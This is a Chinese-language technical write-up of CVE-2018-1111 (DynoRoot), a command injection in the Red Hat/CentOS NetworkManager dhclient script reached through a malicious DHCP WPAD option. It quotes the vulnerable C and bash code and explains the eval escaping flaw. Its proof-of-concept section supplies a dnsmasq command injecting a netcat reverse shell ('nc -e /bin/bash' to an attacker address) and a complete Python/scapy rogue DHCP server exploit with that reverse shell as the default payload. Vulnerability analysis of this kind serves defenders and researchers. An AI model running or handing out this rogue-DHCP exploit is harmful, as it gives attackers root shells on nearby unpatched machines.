CVE-2018-1111
CVE-2018-1111漏洞的问题主要是Red Hat Enterprise Linux(测试环境在centos7)、多个DHCP客户端软件包中包含NetworkManager的脚本存在命令注入问题。通过恶意DHCP服务响应,可以通过DHCP中NetworkManager的调用造成任意命令执行。
漏洞分析
主要的攻击流程是:
- DHCPclient –> 向DHCPserver请求 包含 WPAD的选项:Parameter Request List Item: (252) Private/Proxy autodiscovery —–>DHCPserver
- 在DHCPserver端 构造简单的利用请求:xxx’&touch /tmp/test # 进行 touch 操作
- DHCPserver —> 发送带有攻击数据的回应数据 Options : (252) Private/Proxy autodiscovery: xxx’&touch /tmp/test # —》 DHCPclient内部调用对编码处理 —》DHCPclient调用默认处理脚本 11-dhclient 会传递此数据在eval函数中造成命令执行。
DHCP WPAD选项利用
在客户端的主机上, NetworkManager是一个Linux程序,用于在配置DHCP网络模式时管理系统网络。
NetworkManager会调用dhclient服务来发送DHCP中的请求
通过启动的如下服务可以看出
root 3316 0.0 0.0 107468 9116 ? S 03:25 0:00
/sbin/dhclient -d -q -sf /usr/libexec/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-40d3231b-aaaa-4369-9465-78a91bec0930-eth0.lease -cf /var/lib/NetworkManager/dhclient-eth0.conf eth0
启动的dhclient服务。采用的配置文件为 NetworkManager 服务提供的,其配置文件要求请求WPAD选项
# Created by NetworkManager
send host-name "victim"; # added by NetworkManager
option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
option ms-classless-static-routes code 249 = array of unsigned integer 8;
option wpad code 252 = string;
also request rfc3442-classless-static-routes;
also request ms-classless-static-routes;
also request static-routes;
also request wpad; <========攻击利用WPAD通信请求
also request ntp-servers;
WPAD
WPAD 通过让浏览器自动发现代理服务器,使代理服务器对用户来说是透明的,进而轻松访问互联网。WPAD 可以借助 DNS 服务器或 DHCP 服务器来查询代理自动配置(PAC)文件的位置。
WPAD将查询DHCP和DNS(按此顺序)以获取要连接的URL – 如果没有可用的DNS响应,显然LLMNR和Netbios也可以使用。WPAD-over-DNS的一些特性使得攻击向量能够出人意料地发挥作用。
在最常见的情况下,一台机器将使用选项码252查询本地DHCP服务器.DHCP服务器回复一个字符串– 比如“http://server.domain/proxyconfig.pac”,它指定一个配置文件的URL。 然后客户端继续获取这个文件,并将内容作为Javascript执行。
dhcpclient 漏洞触发过程
当dhclient 端收到 带有恶意请求的 252 wpad 请求后,调用 处理函数 client_option_envadd 进行数值提取存储和简单编码处理
主要依靠 pretty_print_option 进行 编码转义
进行 \ => \ \ 的字符转义
check_option_values 进行特殊字符检查,当我
client_envadd 为主要添加存储
调用client_option_envadd()函数将值保存到变量中
void client_option_envadd (struct option_cache *oc,
struct packet *packet, struct lease *lease,
struct client_state *client_state,
struct option_state *in_options,
struct option_state *cfg_options,
struct binding_scope **scope,
struct universe *u, void *stuff)
{
struct envadd_state *es = stuff;
struct data_string data;
memset (&data, 0, sizeof data);
if (evaluate_option_cache (&data, packet, lease, client_state,
in_options, cfg_options, scope, oc, MDL)) {
if (data.len) {
char name [256];
if (dhcp_option_ev_name (name, sizeof name,
oc->option)) {
const char *value;
size_t length;
value = pretty_print_option(oc->option, 《====对提取字符进行处理
data.data,
data.len, 0, 0);
length = strlen(value);
if (check_option_values(oc->option->universe,
oc->option->code,
value, length) == 0) {
client_envadd(es->client, es->prefix,
name, "%s", value);
} else {
log_error("suspect value in %s "
"option - discarded",
name);
}
data_string_forget (&data, MDL);
}
}
}
}
static int check_option_values(struct universe *universe,
unsigned int opt,
const char *ptr,
size_t len)
{
if (ptr == NULL)
return(-1);
/* just reject options we want to protect, will be escaped anyway */
if ((universe == NULL) || (universe == &dhcp_universe)) {
switch(opt) {
case DHO_DOMAIN_NAME:
#ifdef ACCEPT_LIST_IN_DOMAIN_NAME
return check_domain_name_list(ptr, len, 0);
#else
return check_domain_name(ptr, len, 0);
#endif
case DHO_HOST_NAME:
case DHO_NIS_DOMAIN:
case DHO_NETBIOS_SCOPE:
return check_domain_name(ptr, len, 0);
break;
case DHO_DOMAIN_SEARCH:
return check_domain_name_list(ptr, len, 0);
break;
case DHO_ROOT_PATH:
if (len == 0)
return(-1);
for (; (*ptr != 0) && (len-- > 0); ptr++) {
if(!(isalnum((unsigned char)*ptr) ||
*ptr == '#' || *ptr == '%' ||
*ptr == '+' || *ptr == '-' ||
*ptr == '_' || *ptr == ':' ||
*ptr == '.' || *ptr == ',' ||
*ptr == '@' || *ptr == '~' ||
*ptr == '\\' || *ptr == '/' ||
*ptr == '[' || *ptr == ']' ||
*ptr == '=' || *ptr == ' '))
return(-1);
}
return(0);
break;
}
}
对domain 进行检查,未对wpad 做明显处理
static int check_domain_name(const char *ptr, size_t len, int dots)
{
const char *p;
/* not empty or complete length not over 255 characters */
if ((len == 0) || (len > 256))
return(-1);
/* consists of [[:alnum:]-]+ labels separated by [.] */
/* a [_] is against RFC but seems to be "widely used"... */
for (p=ptr; (*p != 0) && (len-- > 0); p++) {
if ((*p == '-') || (*p == '_')) {
/* not allowed at begin or end of a label */
if (((p - ptr) == 0) || (len == 0) || (p[1] == '.'))
return(-1);
} else if (*p == '.') {
/* each label has to be 1-63 characters;
we allow [.] at the end ('foo.bar.') */
size_t d = p - ptr;
if ((d <= 0) || (d >= 64))
return(-1);
ptr = p + 1; /* jump to the next label */
if ((dots > 0) && (len > 0))
dots--;
} else if (isalnum((unsigned char)*p) == 0) {
/* also numbers at the begin are fine */
return(-1);
}
}
return(dots ? -1 : 0);
}
进行变量保存、
void client_envadd (struct client_state *client,
const char *prefix, const char *name, const char *fmt, ...)
{
char spbuf [1024];
char *s;
unsigned len;
struct string_list *val;
va_list list;
va_start (list, fmt);
len = vsnprintf (spbuf, sizeof spbuf, fmt, list);
va_end (list);
val = dmalloc (strlen (prefix) + strlen (name) + 1 /* = */ +
len + sizeof *val, MDL);
if (!val)
return;
s = val -> string;
strcpy (s, prefix);
strcat (s, name);
s += strlen (s);
*s++ = '=';
if (len >= sizeof spbuf) {
va_start (list, fmt);
vsnprintf (s, len + 1, fmt, list);
va_end (list);
} else
strcpy (s, spbuf);
val -> next = client -> env;
client -> env = val;
client -> envc++;
}
通过 启动的/usr/libexec/nm-dhcp-helper 进行数据传递 --》 dbus服务
NetworkManager -->调用nm-dispatcher --》读取dbus中的WPAD DHCP数据 保存到 环境变量DHCP4_WPAD
启动/etc/NetworkManager/dispatcher.d/11-dhclient 进行处理
/etc/NetworkManager/dispatcher.d/11-dhclient
#!/bin/bash
# run dhclient.d scripts in an emulated environment
PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1
#eval 造成执行的地方
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
[ -f /etc/sysconfig/network ] && . /etc/sysconfig/network
[ -f /etc/sysconfig/network-scripts/ifcfg-$interface ] && \
. /etc/sysconfig/network-scripts/ifcfg-$interface
if [ -d $ETCDIR/dhclient.d ]; then
for f in $ETCDIR/dhclient.d/*.sh; do
if [ -x $f ]; then
subsystem="${f%.sh}"
subsystem="${subsystem##*/}"
. ${f}
if [ "$2" = "up" ]; then
"${subsystem}_config"
elif [ "$2" = "dhcp4-change" ]; then
if [ "$subsystem" = "chrony" -o "$subsystem" = "ntp" ]; then
"${subsystem}_config"
fi
elif [ "$2" = "down" ]; then
"${subsystem}_restore"
fi
fi
done
fi
declare命令用于声明 shell 变量。
declare为shell指令,在第一种语法中可用来声明变量并设置变量的属性([rix]即为变量的属性),在第二种语法中可用来显示shell函数。若不加上任何参数,则会显示全部的shell变量与函数(与执行set指令的效果相同)。
“declare”命令将执行另外两项操作:
- 如果变量包含特殊字符(例如空格或单引号),则会在两侧添加’。
- 它将内部‘转换为’'(将一个字符转换为四个字符)。
执行到 declare 后 读取 DHCP4_开头的环境变量, (对获取的命令处理,若未提供参数,默认进行转义字符读取)
则最开始xxx '\&touch / tmp / test# 将 变为 ‘xxx '\“\&touch / tmp / test#’
即:’xxx’’ 和 touch / tmp / test#’
则eval 函数将运行
echo "export $optname=$optvalue" ————》
eval "$(echo "export new_wpad='xxx'''&touch /tmp/test #' ")"
"export new_wpad='xxx'
''
&touch /tmp/test #' "
则会造成命令执行漏洞
POC利用
通过 模拟DHCP 服务端的漏洞,将 252 wpad 的回应 进行篡改 ,则可进行 DHCP 的攻击.
- 服务配置进行利用
通过服务设置 ,可直接设置 252 服务的利用。
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
- 自己模拟进行服务模拟
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: DynoRoot DHCP Client Command Injection
# Date: May 18, 2018
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
# Exploit Discoverer: Felix Wilhelm (@_fel1x on twitter)
# Exploit Webpage: https://dynoroot.ninja
# Vendor Homepage: https://www.redhat.com/
# Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
# Versions affected per RHEL release, not validated on RHEL / CentOS 6.x
# as such, it may not function on this version
# Tested on:
# * CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4
# * Fedora Linux 27 (Workstation Edition) / NetworkManager 2.29-6.fc27
# CVE : CVE-2018-1111
from argparse import ArgumentParser
from scapy.all import BOOTP_am, DHCP
from scapy.base_classes import Net
class DynoRoot(BOOTP_am):
function_name = "dhcpd"
def make_reply(self, req):
resp = BOOTP_am.make_reply(self, req)
if DHCP in req:
dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
for op in req[DHCP].options
if isinstance(op, tuple) and op[0] == "message-type"]
dhcp_options += [("server_id", self.gw),
("domain", self.domain),
("router", self.gw),
("name_server", self.gw),
("broadcast_address", self.broadcast),
("subnet_mask", self.netmask),
("renewal_time", self.renewal_time),
("lease_time", self.lease_time),
(252, "x'&{payload} #".format(payload=self.payload)),
"end"
]
resp /= DHCP(options=dhcp_options)
return resp
if __name__ == '__main__':
parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')
parser.add_argument('-i', '--interface', default='eth0', type=str,
dest='interface',
help='The interface to listen for DHCP requests on (default: eth0)')
parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
parser.add_argument('-d', '--domain', default='victim.net', type=str,
dest='domain', help='Domain to assign (default: victim.net)')
parser.add_argument('-r', '--renewal-time', default=600, type=int,
dest='renewal_time', help='The DHCP lease renewal interval (default: 600)')
parser.add_argument('-l', '--lease-time', default=3600, type=int,
dest='lease_time', help='The DHCP lease duration (default: 3600)')
parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')
args = parser.parse_args()
server = DynoRoot(iface=args.interface, domain=args.domain,
pool=Net(args.subnet),
network=args.subnet,
gw=args.gateway,
renewal_time=args.renewal_time,
lease_time=args.lease_time)
server.payload = args.payload
server()
相关链接
https://unit42.paloaltonetworks.com/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/
https://cn.0day.today/exploit/30581
https://github.com/kkirsche/CVE-2018-1111
https://www.exploit-db.com/exploits/44652
https://github.com/knqyf263/CVE-2018-1111
https://blog.csdn.net/vevenlcf/article/details/80887753
http://rpmfind.net/linux/RPM/centos/7.6.1810/x86_64/Packages/dhclient-4.2.5-68.el7.centos.1.x86_64.html